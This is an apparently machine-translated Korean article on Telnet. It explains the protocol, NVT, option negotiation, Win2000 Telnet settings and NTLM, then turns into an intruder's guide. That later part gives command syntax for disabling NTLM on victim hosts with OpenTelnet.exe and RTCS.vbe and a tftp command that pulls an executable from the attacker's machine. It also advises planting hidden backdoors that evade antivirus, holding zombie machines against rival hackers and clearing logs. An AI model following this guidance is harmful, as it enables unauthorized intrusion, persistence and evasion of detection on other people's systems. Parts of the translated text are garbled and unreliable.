텔넷 정보
요약
Telnet의 적용은 원격 로그인을 용이하게 할 뿐만 아니라 해커에게 또 다른 침입 수단과 백도어를 제공하지만 어떤 경우에도 Telnet을 즐길 수 있습니다. 편의상, Telnet을 정말로 이해하고 계십니까?
두 번째 원격 로그인
텔넷 서비스도 클라이언트/서버 모델에 속하지만 더 큰 의미는 텔넷 프로토콜(원격 대화형 컴퓨팅)을 기반으로 원격 로그인을 구현한다는 점입니다. , 그러면 원격 로그인에 대해 알아 보겠습니다.
1 원격 로그인의 기본 개념
먼저 로그인이 무엇인지 살펴보겠습니다. 시간 공유 시스템을 사용하면 여러 사용자가 동시에 하나의 컴퓨터를 순서대로 사용할 수 있습니다. 시스템 보안과 회계 편의성을 보장하기 위해 시스템은 각 사용자에게 로그인 ID로 별도의 계정을 갖도록 요구하며 시스템은 각 사용자에 대한 비밀번호도 지정합니다. 사용자는 시스템을 이용하기 전에 반드시 ID와 비밀번호를 입력해야 하는데, 이 과정을 '로그인'이라고 합니다.
원격 로그인은 사용자가 Telnet 명령을 사용하여 일시적으로 자신의 컴퓨터를 원격 호스트의 에뮬레이션 터미널로 전환하는 프로세스를 말합니다. 에뮬레이션 터미널은 비지능형 기계와 같습니다. 사용자가 입력한 각 문자를 호스트에 전송한 다음 호스트가 출력한 각 정보를 화면에 표시하는 역할만 담당합니다.
2 원격 로그인의 출현과 발전
먼저 원격 텍스트 편집을 제공하는 서비스를 상상할 수 있습니다. 이 서비스를 구현하려면 파일 요청 및 데이터 편집을 허용하는 서버가 필요합니다. a 이 요청에 대한 클라이언트를 보냅니다. 클라이언트는 로컬 컴퓨터에서 서버로 TCP 연결을 설정합니다. 물론 서버의 응답이 필요합니다. 그런 다음 입력된 정보(파일 편집 정보)를 서버에 보내고 서버에서 반환된 출력을 읽습니다. 위 내용은 표준적이고 일반적인 클라이언트/서버 모델 서비스입니다.
클라이언트/서버 서비스 모델을 이용하면 모든 원격 문제를 해결할 수 있을 것 같습니다. 그러나 현실은 생각만큼 간단하지 않습니다. 원격으로 파일만 편집하면 방금 생각한 서비스가 완벽하게 가능하지만 요구 사항이 그렇게 간단하지 않으면 원격 사용자 관리, 원격 데이터도 달성하고 싶습니다. 항목, 원격 시스템 유지 관리, 원격 호스트에서 구현할 수 있는 모든 작업을 구현하려면 많은 수의 전용 서버 프로그램이 필요하고 계산 가능한 각 서비스에 대해 서버 프로세스를 사용해야 합니다. 원격 시스템은 매우 빠릅니다. 서버 프로세스에 압도되고 프로세스의 바다에 빠져들게 됩니다(여기에서는 가장 전문적인 원격 시스템을 제외합니다).
그럼 해결책은 없을까요? 물론 원격 로그인을 사용하여 이 모든 것을 해결할 수 있습니다. 우리는 사용자가 원격 시스템에서 로그인 세션을 설정한 다음 명령을 실행하여 마치 로컬에서 작동하는 것처럼 보다 일반적인 서비스를 구현할 수 있도록 합니다. 이런 방식으로 우리는 원격 시스템에서 사용 가능한 모든 명령에 접근할 수 있으며, 시스템 설계자는 여러 개의 전용 서버 프로그램을 제공할 필요가 없습니다.
이제 문제가 발생했기 때문에 미래는 밝을 것 같습니다. 원격 로그인이 문제를 해결해야 하지만 원격 로그인은 간단하지 않습니다. 네트워크 설계를 고려하지 않는 컴퓨터 시스템에서는 사용자가 직접 연결된 키보드와 모니터를 통해서만 로그인할 것으로 예상합니다. 이러한 시스템에 원격 로그인 기능을 추가하려면 시스템의 운영 체제를 수정해야 하는데, 이는 매우 어렵고 우리는 이를 피하려고 노력합니다. 그러므로 우리는 원격 로그인 서버 소프트웨어를 구축하는 데 집중해야 합니다. 물론 이것도 어렵습니다. 왜 이렇게 하는 것이 더 어려운가요?
예: 일반적으로 운영 체제는 일부 특수 키에 특별한 의미를 할당합니다. 예를 들어 로컬 시스템은 'Ctrl+C'를 '현재 실행 중인 명령 프로세스 종료'로 해석합니다. 그러나 원격 로그인 서버 소프트웨어를 실행했다고 가정하면 'Ctrl+C'는 원격 시스템으로 전송되지 않을 수 있습니다. 클라이언트가 실제로 'Ctrl+C'를 원격 시스템으로 전송하면 'Ctrl+C' 명령이 전송되지 않을 수 있습니다. 로컬 프로세스를 종료하면 여기서 혼란이 발생할 가능성이 높습니다. 그리고 이것은 직면한 문제 중 하나일 뿐입니다.
그러나 기술적인 어려움에도 불구하고 시스템 프로그래머들은 대부분의 운영 체제에 적용할 수 있는 원격 로그인 서버 소프트웨어를 구축하고 클라이언트 역할을 하는 응용 소프트웨어를 구축했습니다.
일반적으로 클라이언트 소프트웨어는 하나의 키를 제외한 모든 로컬 해석을 취소하고 이에 따라 이러한 로컬 해석을 원격 해석으로 변환합니다. 이를 통해 클라이언트 소프트웨어는 마치 원격 호스트에 있는 것처럼 원격 시스템과 상호 작용할 수 있습니다. , 따라서 위에서 언급한 혼란을 피합니다. 유일한 예외 키는 사용자를 로컬 환경으로 다시 가져올 수 있습니다.
원격 로그인 서버를 애플리케이션 수준 소프트웨어로 설계하려면 운영 체제가 의사 터미널에 대한 지원을 제공해야 한다는 또 다른 요구 사항이 있습니다. 우리는 Telnet 서버와 같은 프로그램이 운영 체제에 문자를 보내고 해당 문자가 로컬 키보드에서 오는 것처럼 보이도록 하는 운영 체제의 진입점을 설명하기 위해 의사 터미널을 사용합니다. 이러한 운영 체제를 사용해야만 원격 로그인 서버를 응용 프로그램 수준 소프트웨어(예: Telnet 서버 소프트웨어)로 설계할 수 있습니다. 그렇지 않으면 로컬 운영 체제와 원격 시스템 전송이 서로 전송된 정보를 식별할 수 없습니다. (상대방에서 전송된 정보만 식별할 수 있기 때문에 로컬 키보드로 입력한 정보만 가능) 원격 로그인이 실패합니다.
원격 로그인 서버를 애플리케이션 수준 소프트웨어로 설계하면 상당한 이점이 있습니다. 운영 체제에 코드를 삽입하는 것보다 서버를 수정하고 제어하는 것이 더 쉽습니다. 하지만 효율성이 낮다는 단점도 있습니다(이에 대해서는 나중에 설명하겠습니다). 다행스럽게도 사용자가 정보를 입력하는 속도는 높지 않으므로 이 디자인은 여전히 수용 가능합니다.
3 원격 로그인 작업 프로세스
원격 로그인을 위해 Telnet 프로토콜을 사용할 경우 다음 조건이 충족되어야 합니다. Telnet 프로토콜이 포함된 클라이언트 프로그램이 컴퓨터에 설치되어 있어야 합니다. 로컬 컴퓨터, 원격 로그인을 알아야 합니다. 호스트의 IP 주소 또는 도메인 이름을 알고 있어야 합니다.
텔넷 원격 로그인 서비스는 다음과 같은 4가지 프로세스로 나누어집니다.
1) 로컬 호스트와 원격 호스트 간의 연결을 설정합니다. 실제로 TCP 연결을 설정하는 과정입니다. 사용자는 원격 호스트의 IP 주소나 도메인 이름을 알아야 합니다.
2) 로컬 터미널에 입력된 사용자 이름과 비밀번호 및 모든 명령이나 문자를 변환합니다. 나중에 NVT(Net Virtual Terminal) 형식으로 원격 호스트에 입력됩니다. 이 프로세스는 실제로 로컬 호스트에서 원격 호스트로 IP 데이터그램을 보내는 것입니다.
3) 원격 호스트에서 출력되는 NVT 형식의 데이터를 로컬에서 허용하는 형식으로 변환하여 다시 로컬로 보냅니다. 터미널(Echo 명령 입력 및 명령 실행 결과 포함)
4) 마지막으로 로컬 터미널은 원격 호스트에 대한 연결을 취소합니다. 프로세스는 TCP 연결을 취소하는 것입니다.
위 내용에서는 원격 로그인에 대한 가장 기본적인 내용만 다루고 있습니다. 프로그래머의 복잡성과 어려움은 텔넷을 편안하게 사용하면서 생각해 보셨을지 궁금합니다!
세 가지 Telnet 프로토콜
Telnet 서버 소프트웨어는 가장 일반적으로 사용되는 원격 로그인 서버 소프트웨어라는 것을 알고 있습니다. 이는 Telnet 프로토콜을 사용하여 작동합니다. . 그렇다면 Telnet 프로토콜은 무엇입니까? 어떤 특징이 있나요?
1 기본 콘텐츠
텔넷 프로토콜은 TCP/IP 프로토콜 제품군에 속하며 인터넷 원격 로그인 서비스를 위한 표준 프로토콜입니다. Telnet 프로토콜을 사용하면 로컬 사용자가 사용하는 컴퓨터를 원격 호스트 시스템의 터미널로 바꿀 수 있습니다. 이는 세 가지 기본 서비스를 제공합니다.
1) Telnet은 원격 시스템에 표준 인터페이스를 제공하기 위해 네트워크 가상 터미널을 정의합니다. 클라이언트 프로그램은 원격 시스템을 자세히 알 필요가 없으며 표준 인터페이스를 사용하는 프로그램만 구성하면 됩니다.
2) Telnet에는 클라이언트와 서버가 옵션을 협상할 수 있는 메커니즘이 포함되어 있습니다. 표준 옵션 세트를 제공합니다.
3) Telnet은 연결의 양쪽 끝을 대칭적으로 처리합니다. 즉, Telnet은 클라이언트가 키보드에서 입력하도록 강요하지 않으며 클라이언트가 키보드에 출력을 표시하도록 강요하지도 않습니다. 화면.
2 이기종에 적응
다양한 운영체제 간의 텔넷 상호운용성을 가능하게 하기 위해서는 이기종 컴퓨터와 운영체제에 대한 세부적인 이해가 필요하다.
예를 들어 일부 운영 체제에서는 텍스트의 각 줄이 ASCII 캐리지 리턴(CR)으로 끝나야 하고, 다른 시스템에서는 ASCII 줄 바꿈(LF)이 필요하며, 또 다른 운영 체제에서는 두 문자 시퀀스 캐리지 리턴-줄 바꿈(CR)이 필요합니다. . -LF); 또 다른 예로, 대부분의 운영 체제는 사용자에게 프로그램 실행을 중단할 수 있는 바로 가기 키를 제공하지만 이 바로 가기 키는 시스템마다 다를 수 있습니다(일부 시스템은 Ctrl+C를 사용하고 다른 시스템은 ESCAPE를 사용함). . 시스템 간의 이질성을 고려하지 않으면 로컬에서 발행된 문자나 명령이 원격 위치로 전송되어 원격 시스템에서 해석된 후 부정확하거나 오류가 발생할 수 있습니다. 따라서 Telnet 프로토콜은 이 문제를 해결해야 합니다.
이종 환경에 적응하기 위해 텔넷 프로토콜은 인터넷에서 데이터와 명령의 전송 방법을 정의합니다. 이 정의를 네트워크 가상 터미널(Network Virtual Terminal) NVT(Net Virtual Terminal)이라고 합니다. 적용 프로세스는 다음과 같습니다.
전송된 데이터의 경우: 클라이언트 소프트웨어는 사용자 터미널의 키 입력과 명령 시퀀스를 NVT 형식으로 변환하고 이를 서버로 보냅니다. , NVT 형식을 원격 시스템에서 요구하는 형식으로 변환;
반환된 데이터의 경우: 원격 서버는 원격 시스템 형식의 데이터를 NVT 형식으로 변환하고 로컬 클라이언트는 수신된 NVT를 변환합니다. 그런 다음 형식 데이터가 로컬 형식으로 변환됩니다.
NVT 형식의 자세한 정의에 관심이 있는 친구들은 관련 정보를 찾을 수 있습니다.
3 원격 명령 전송
우리는 대부분의 운영 체제가 해당 제어 명령을 구현하기 위해 다양한 단축키를 제공한다는 것을 알고 있습니다. 사용자가 로컬 터미널에 이러한 단축키를 입력하면 로컬 시스템이 실행됩니다. 이러한 단축키를 입력으로 사용하지 않고 해당 제어 명령을 실행합니다. 그렇다면 Telnet의 경우 제어 명령의 원격 전송을 구현하는 데 사용되는 것은 무엇입니까?
텔넷은 또한 NVT를 사용하여 클라이언트에서 서버로 제어 기능을 전송하는 방법을 정의합니다. USASCII 문자 집합에는 인쇄 가능한 문자 95개와 제어 코드 33개가 포함되어 있다는 것을 알고 있습니다. 사용자가 로컬에서 일반 문자를 입력하면 NVT는 원래 의미에 따라 이를 전송합니다. 사용자가 단축키(키 조합)를 입력하면 NVT는 이를 특수 ASCII 문자로 변환하여 네트워크에 전송합니다. 원격 기계에 연결한 다음 해당 제어 명령으로 변환합니다. 일반 ASCII 문자 집합을 제어 명령과 구별하는 두 가지 주요 이유는 다음과 같습니다.
1) 이러한 구별은 Telnet이 더 큰 유연성을 갖는다는 것을 의미합니다. 클라이언트와 서버 문자 간에 가능한 모든 ASCII를 전송할 수 있으며 모든 제어를 제어할 수 있습니다.
2) 이러한 구별을 통해 클라이언트는 제어 기능과 일반 문자 사이에 혼동을 일으키지 않고 신호를 명확하게 지정할 수 있습니다.
4 데이터 흐름 방향
텔넷을 애플리케이션 수준 소프트웨어로 설계하는 것은 단점이 있다는 점, 즉 효율적이지 않다고 위에서 언급했습니다. 왜 이런가요? Telnet의 데이터 흐름은 다음과 같습니다.
데이터 정보는 사용자가 로컬 키보드에서 입력하고 운영 체제를 통해 클라이언트 프로그램으로 전송되며 이를 처리하여 운영 체제로 반환합니다. 네트워크는 데이터를 원격 시스템에 전달하고, 원격 운영 체제는 수신된 데이터를 서버 프로그램에 전달한 후 서버 프로그램에 의해 다시 처리되어 의사 터미널 진입점으로 반환됩니다. 마지막으로 원격 운영 체제는 애플리케이션이 실행 중일 때 동일한 경로를 따라 서버에서 클라이언트로 데이터를 전송합니다.
각 입력과 출력에 대해 컴퓨터는 프로세스 환경을 여러 번 전환하기 때문에 비용이 매우 많이 듭니다. 다행스럽게도 사용자의 타이핑 속도는 그리 높지 않아 이 단점은 여전히 받아들일 수 있습니다.
5 필수 명령
우리는 다음과 같은 상황을 고려해야 합니다: 로컬 사용자가 원격 시스템에서 잘못된 명령이나 프로그램의 끝없는 루프를 실행하고 이 명령이나 프로그램이 읽기를 중지했다고 가정합니다. 입력이 발생하면 운영 체제의 버퍼가 가득 찰 수 있습니다. 그렇다면 원격 서버는 더 이상 의사 터미널에 데이터를 쓸 수 없으며 결국 TCP 연결의 버퍼 영역도 중단됩니다. 가득 차서 트래픽이 연결로 유입되는 것을 방지합니다. 위의 상황이 실제로 발생하면 로컬 사용자는 원격 시스템에 대한 제어권을 잃게 됩니다.
이 문제를 해결하려면 Telnet 프로토콜은 아웃바운드 신호를 사용하여 서버가 제어 명령을 읽도록 강제해야 합니다. 우리는 TCP가 아웃바운드 데이터 신호를 구현하기 위해 긴급 데이터 메커니즘을 사용한다는 것을 알고 있으므로 텔넷은 데이터 표시(날짜 표시)라는 예약된 옥텟을 추가하고 TCP가 긴급 데이터 비트 세트와 함께 메시지 세그먼트 알림을 보내도록 하면 됩니다. 문제가 없으면 긴급 데이터를 전달하는 메시지 세그먼트가 흐름 제어를 우회하여 서버에 직접 도달합니다. 긴급 신호에 대한 응답으로 서버는 데이터 마커가 발견될 때까지 모든 데이터를 읽고 삭제합니다. 서버는 데이터 마커를 만난 후 일반 처리로 돌아갑니다.
6 옵션 협상
텔넷 양쪽 끝의 기계와 운영 체제의 이질성으로 인해 텔넷에서 각각의 세부 구성을 지정하는 것은 불가능하며 엄격하게 지정해서는 안 됩니다. Telnet 연결이 그렇지 않으면 Telnet의 이질성에 대한 적응성에 큰 영향을 미칩니다. 따라서 Telnet에서는 이 문제를 해결하기 위해 옵션 협상 메커니즘을 사용합니다.
텔넷 옵션의 범위는 넓습니다. 일부 옵션은 일반적인 기능을 확장하고 일부 옵션은 사소한 세부 사항을 처리합니다. 예를 들어 Telnet이 반이중 또는 전이중 모드(일반 방향)에서 작동하는지 제어하는 옵션이 있으며 원격 시스템의 서버가 사용자의 터미널 유형(작은 세부 사항)을 결정하도록 허용하는 옵션도 있습니다.
텔넷 옵션의 협상 방법도 매우 흥미롭습니다. 즉, 어느 쪽이든 협상 요청을 발행할 수 있고 어느 쪽이든 응용 프로그램을 수락하거나 거부할 수 있습니다. 또한 한 쪽이 다른 쪽이 이해하지 못하는 옵션을 협상하려고 시도하는 경우 수신측은 단순히 협상을 거부할 수 있습니다. 따라서 더 새롭고 더 복잡한 Telnet 클라이언트-서버 버전을 더 오래되고 덜 복잡한 버전과 상호 운용하는 것이 가능합니다. 클라이언트와 서버가 모두 새로운 옵션을 이해하면 상호 작용이 향상될 수 있습니다. 그렇지 않으면 모두 덜 효율적이지만 기능적인 작동 모드로 전환됩니다. 이러한 모든 디자인은 이질성에 대한 적응성을 향상시키기 위한 것입니다. 이는 Telnet의 이질성에 대한 적응성이 응용 및 개발에 얼마나 중요한지 알 수 있습니다.
위에서 몇 가지 원칙을 논의했지만 Telnet을 사용하면서 이 수준을 접하기는 어렵지만 이를 이해하는 것은 의미가 있고 많은 깨달음을 가져다 줄 것이라고 생각합니다. . Win2000의 Telnet 서비스를 살펴보자.
Win2000의 4가지 Telnet 서비스
사실 애플리케이션 수준에서는 Win2000의 Telnet 서비스에 대해 말할 것도 없습니다. 대부분의 내용은 HELP 파일에서 얻을 수 있습니다. .나는 여기서 조금 정리하고 있습니다.
1 기본 구성
Win2000은 Telnet 클라이언트와 서버 프로그램을 제공합니다. Telnet.exe는 클라이언트 프로그램(Client)이고 tlntsvr.exe는 서버 프로그램(server)입니다. 동시에 Telnet 서버 관리 프로그램 tlntadmn.exe도 제공합니다.
Windows 2000에는 Telnet 서비스가 기본적으로 설치되어 있지만 기본적으로 시작되지는 않습니다. HELP 파일의 Telnet 서비스에 대한 기본 설정 중 일부는 다음과 같습니다.
AllowTrustedDomain: 도메인 사용자의 액세스를 허용할지 여부입니다. 기본값은 1이며 신뢰할 수 있는 도메인 사용자에게 액세스를 허용합니다. 0으로 변경 가능: 도메인 사용자의 접근이 허용되지 않습니다(로컬 사용자만 허용됨).
DefaultDomain: 이 컴퓨터와 신뢰 관계가 있는 모든 도메인에 대해 설정할 수 있습니다. 기본값은 "."입니다.
DefaultShell: 쉘 설치 경로 위치를 표시합니다. 기본값은 다음과 같습니다. %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins: 연결이 종료되기 전에 실패한 최대 로그인 시도 횟수를 표시합니다. 기본값은 3입니다.
LoginScript: Telnet 서버 로그인 스크립트의 경로 위치를 표시합니다.
기본 위치는 "%systemroot%\System32\login.cmd"입니다. Telnet에 로그인할 때 시작 화면이 달라지도록 스크립트 내용을 변경할 수 있습니다.
NTLM: NTLM 인증 옵션입니다. 기본값은 2입니다. 가능한 값은 다음과 같습니다.
0: NTLM 인증을 사용하지 않습니다.
1: 먼저 NTLM 인증을 시도한 다음 실패하면 사용자 이름과 비밀번호를 사용하세요.
2: NTLM 인증만 사용하세요.
TelnetPort: 텔넷 서버가 텔넷 요청을 수신하는 포트를 표시합니다. 기본값은 23입니다. 다른 포트로 변경할 수도 있습니다.
tlntadmn.exe(Telnet 서버 관리 프로그램)를 사용하면 위의 설정을 매우 편리하게 구성할 수 있습니다. 구성 후에는 Telnet 서비스를 다시 시작해야 합니다. 그림 1과 같이
2 NTLM
텔넷을 언급할 때 NTLM을 빼놓을 수 없습니다. 관리자 권한을 구하더라도 이것이 침입자에게 있어서 가장 큰 골칫거리이기도 합니다. 게다가 win2000의 텔넷은 기본적으로 NTLM만을 사용하여 신원을 확인하므로 NTLM이 무엇인지 주목해야 합니다.
초기 SMB 프로토콜은 네트워크에서 암호를 일반 텍스트로 전송했습니다. 나중에 LM이라고 하는 "LAN 관리자 챌린지/응답" 확인 메커니즘은 너무 간단해서 나중에 Microsoft가 쉽게 해독할 수 있었습니다. Windows NT 챌린지/응답 확인 메커니즘인 NTLM. 이제 업데이트된 NTLMv2 및 Kerberos 인증 시스템이 있습니다. NTLM 워크플로는 다음과 같습니다.
1. 클라이언트는 먼저 현재 사용자의 비밀번호를 로컬로 암호화하고 비밀번호 해시가 됩니다.
2. 이 계정은 암호화되지 않고 일반 텍스트가 직접 전송됩니다
3. 서버는 16비트 난수를 생성하여 클라이언트에게 챌린지(challenge)로 보냅니다.
4. 그런 다음 클라이언트는 암호화된 비밀번호 해시를 사용하여 챌린지를 암호화하고 서버로 반환합니다. 응답(응답)
5. 서버는 사용자 이름, 챌린지를 클라이언트에 보내고 클라이언트가 도메인 컨트롤러에 반환한 응답을 보냅니다.
6. 이 사용자 이름은 SAM 비밀번호 관리 라이브러리에서 사용자의 비밀번호 해시를 찾은 다음 이 비밀번호 해시를 사용하여 챌린지를 암호화합니다.
7. 도메인 컨트롤러는 두 개의 암호화된 질문을 비교하여 동일하면 인증에 성공한 것입니다.
위의 과정을 보면 NTLM이 자신이 스캔한 상대방 관리자의 계정과 비밀번호로 로그인하는 대신 현재 사용자로 텔넷 서버에 로그인 요청을 보내는 것을 볼 수 있습니다. 로그인이 실패합니다. 예를 들어, 집에 있는 컴퓨터의 이름은 A(로컬 컴퓨터)이고, 침입하는 컴퓨터의 이름은 B(원격 컴퓨터)이며, A의 계정은 xinxin이고 비밀번호는 1234입니다. B의 관리를 검색합니다. 사용자 계정은 다음과 같습니다. 관리자 및 비밀번호는 5678입니다. B에 텔넷을 연결하려는 경우 NTLM은 자동으로 현재 사용자의 계정과 비밀번호를 로그인 자격 증명으로 사용하여 위의 7가지 작업을 수행합니다. 즉, 관리자를 사용하는 대신 xinxin 및 1234를 사용합니다. 및 5678에 도달하면 사용자가 개입할 기회를 주지 않고 자동으로 완료되므로 로그인 작업이 실패합니다.
텔넷 서버에는 NTLM 사용을 위한 세 가지 옵션이 있으므로 원격 시스템에 텔넷을 연결하면 다음 상황 중 하나가 표시됩니다.
1) 인증 옵션 = 0시간
====================================
>Microsoft (R) Windows (TM) 버전 5.00(빌드 2195)
Microsoft Telnet 서비스에 오신 것을 환영합니다.
Telnet Server Build 5.00.99201.1
로그인:
비밀번호:
\\가 0이면 NTML 인증을 사용하지 않고 사용자 이름과 비밀번호를 직접 입력합니다. 예를 들어 스캔한 관리자와 5678을 입력할 수 있습니다.
2) 인증옵션=1인 경우
================================= === ===
자격 증명이 부족하여 NTLM 인증에 실패했습니다. 일반 텍스트 사용자 이름과 비밀번호로 로그인하십시오.
Microsoft (R) Windows (TM) 버전 5.00(빌드 2195)
Microsoft Telnet 서비스에 오신 것을 환영합니다
Telnet 서버 빌드 5.00.99201.1
로그인:
비밀번호:
\\먼저 NTLM 인증을 시도해 보세요. 실패하면 사용자 이름과 비밀번호를 다시 사용하세요. 사실 우리에게 이 방법은 이전 방법과 다르지 않습니다.
3) 인증 옵션 = 2인 경우
======================================
NTLM 자격 증명이 부족하여 인증에 실패했습니다. 일반 텍스트 사용자 이름과 비밀번호로 로그인하십시오.
서버는 NTLM 인증만 허용합니다.
서버가 연결을 끊었습니다.
호스트에 대한 연결이 끊겼습니다. .
/p>
그래서 침입자에게는 NTLM이 우리 앞에 큰 산이고, 우리는 이를 제거해야 합니다. 일반적으로 다음과 같은 방법을 사용합니다.
1. 원격 레지스트리 텔넷 서버 구성을 변경하고 확인 방법을 2에서 1 또는 0으로 변경합니다.
2 NTLM.exe를 사용하고 업로드 후 직접 실행하여 텔넷 서버 확인 방법을 2에서 1로 변경합니다.
3 스캔된 사용자를 로컬로 생성하고 이 사용자로 텔넷 클라이언트를 열고 원격으로 로그인합니다.
4 opentelnet.exe와 같은 소프트웨어를 사용합니다(관리자 권한 및 IPC 열기 필요). 파이프)
5 RTCS와 같은 스크립트를 사용합니다(관리자 권한이 필요하지만 IPC 파이프에 의존하지 않음)
기본적으로 위의 5가지 유형 중 후자의 두 유형이 더 많이 사용됩니다. 일반적으로 사용되는 Telnet 방식이며 사용법은 매우 간단하며 명령은 다음과 같습니다:
OpenTelnet.exe \\server 사용자 이름 비밀번호 NTLMAuthor telnetport
OpenTelnet.exe \\server 주소 관리자 사용자 이름 비밀번호 확인 모드(0 또는 1 입력) 텔넷 포트
cscript RTCS.vbe targetIP 사용자 이름 비밀번호 NTLMAuthor telnetport
cscript RTCS.vbe <대상 IP> <관리자 사용자 이름>
5. 텔넷에서 해야 할 일
위에 적어놓고 끝내고 싶었는데 안 된다고 친구들이 많았어요. 텔넷이 활성화된 후에 무엇을 해야 할지 모르겠습니다. 그렇다면, 이번에는 몇 가지 아이디어를 소개하겠습니다. 대신, 아이디어에 대해서만 이야기하겠습니다. 구체적인 방법에 대해 이야기해 보는 것은 어떨까요? 지면이 부족해서 앞으로 하나씩 설명하도록 하겠습니다.
1 시스템 정보를 확인하세요
하하, 실제로 시스템 구성과 버전을 보려면 여기저기 살펴보세요(프로 버전이나 서버 버전을 확인하려면 c:\boot.ini를 입력하세요). , 어떤 서비스나 소프트웨어가 설치되어 있는지 확인하고(디렉터리 이름으로 알 수 있음) 중요하거나 흥미로운 파일이 있는지 확인하고(아쉽게도 외부 컴퓨터인 경우 읽을 수 없음) 사용자를 확인합니다. 즉, 시스템에 대해 최대한 이해하고 나중에 백도어 설치 방법을 알아내는 것이 상황입니다.
2 tftp를 사용하여 파일 전송
모든 사람이 telnet으로 파일을 전송하는 데 문제가 있다고 생각합니다. 우리는 ipc 파이프로 파일을 전송하는 데 익숙하기 때문에 일부 친구는 net을 사용하는 것을 좋아합니다. ipc$를 공유하여 파이프를 연 다음 복사를 사용하여 파일을 전송합니다. 그러나 이것은 번거로운 작업입니다. 이제 셸이 있으므로 TFPT 명령을 사용하여 이 모든 작업을 완료할 수 있습니다.
TFTP(Trivial File Transfer Protocol)를 사용하여 파일을 전송하는 것은 UDP 연결을 기반으로 한 파일 전송입니다. 일반적으로 Windows와 함께 제공되는 tftp.exe와 TFTP 서버 소프트웨어를 사용하여 완전한 전송 구조를 형성합니다. .
다음과 같이 사용됩니다. 먼저 로컬 TFTP 서버(예: tftpd32.exe) 소프트웨어를 실행하고 전송이 완료될 때까지 항상 열려 있는지 확인한 후 텔넷에서 다음 명령을 실행합니다(물론 다른 쉘에서도 사용할 수 있습니다) ):
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
ip는 자신의 컴퓨터의 IP이고 업로드된 파일은 c 드라이브의 abc 디렉터리에 xinxin.exe를 업로드할 수 있도록 TFTP 서버 디렉터리와 동일한 위치에 있어야 합니다(실제로는 tftp 서버에서 다운로드됨)
다음과 같은 경우에 주의해야 합니다. 프록시 IP를 사용하면 외부 네트워크와의 파일 전송이 불가능합니다. 프록시 게이트웨이는 데이터를 캡슐화할 때 내부 네트워크 주소 대신 자체 IP 주소를 데이터그램에 추가하므로 외부 네트워크에서 MAC 주소 지정을 수행할 때 TFTP 서버를 찾을 수 없습니다.
3 백도어 설치
2단계에서 백도어를 설치하거나 홈페이지를 수정하는 등 다른 목적으로 침입하는 경우에는 조금 이른 것 같습니다. 물론, 이러한 작업은 뒷문을 설치하기 전에 수행할 수 있습니다. 단지 육계를 구하고 싶다면 말할 것도 없이 뒷문만 설치하면 됩니다.
백도어에는 다양한 유형이 있으며 특정 상황에 따라 적절한 백도어를 선택할 수 있다는 것은 그야말로 과학입니다. 일반적으로 사용되는 백도어에는 일반적으로 트로이 목마, ASP 트로이 목마, 원격 제어 소프트웨어, 계정 복제, 계정 생성 및 숨기기, 텔넷, 텔넷 확장 셸, 터미널 서비스 등이 포함됩니다. 좋은 백도어를 설치할 때 일반적으로 다음 사항에 주의해야 합니다.
1. 방화벽에 의해 검사되지 않으며 통신을 방해하지 않습니다. 바이러스 데이터베이스에 추가된 백도어를 패키징하는 것이 가장 좋습니다. 방화벽을 탈출하고, 방화벽에 의해 차단되지 않도록 낮은 포트 통신을 사용해 보십시오.
2 은폐 극대화: 원격 제어 소프트웨어를 선택하는 경우 제어되는 터미널의 설치 프롬프트와 작은 아이콘에 주의하고, 계정에 대해 소란을 피우는 경우 화면을 동기화할지 여부를 확인하세요. cmd에 보관하십시오. 사용자 관리 및 관리에 결함이 없습니다. 트로이 목마 또는 텔넷 확장자를 배치하기로 선택한 경우 터미널 서비스가 새로 열리면 파일 및 프로세스 숨김에 주의하십시오(침입 이전에는 열리지 않았습니다). , 눈에 띄는 포트 3389를 제거하십시오. 그리고 낮을수록 좋습니다.
3 관리자가 없다고 가정하지 마세요. 이것은 큰 금기 사항입니다. 많은 친구들이 기본 계정만 가지고 컴퓨터에 '해킹'과 유사한 관리자 계정을 만듭니다. . 따라서 백도어를 설치할 때 관리자가 백도어를 무시한 부분이 어디인지 생각해 보십시오.
4패치
육계를 장악하고 싶다면 패치가 가능해야 한다. 육계를 위한 경쟁이 매우 치열하다는 점을 알아야 한다. 어떻게 패치하나요? 이것도 물어볼까? 어떻게 들어왔는지 생각해 보세요. 잊어버리십시오. 주요 취약점을 패치하는 것(공식 패치를 업로드하고 실행) 외에도 *** 공유, ipc$*** 공유(모두 닫는 것이 가장 좋습니다)에도 주의해야 합니다. 의심스러운 포트, 쉽게 악용되는 서비스 등 그러나 패치 시 숨김에 주의하고 관리자가 주요 변경 사항을 발견하지 못하도록 해야 합니다.
5 로그 지우기
수동으로 할 수도 있고, 소프트웨어를 이용해 할 수도 있습니다. 잘 안되면 관련 교과서로 가서 자세히 소개하지 않겠습니다. 여기.
6가지 결론
글의 첫 번째 부분은 주로 몇 가지 원칙에 대해 이야기하고, 두 번째 부분은 응용 프로그램에 중점을 두고 너무 많이 쓰면 필연적으로 몇 가지를 놓칠 수 있습니다. .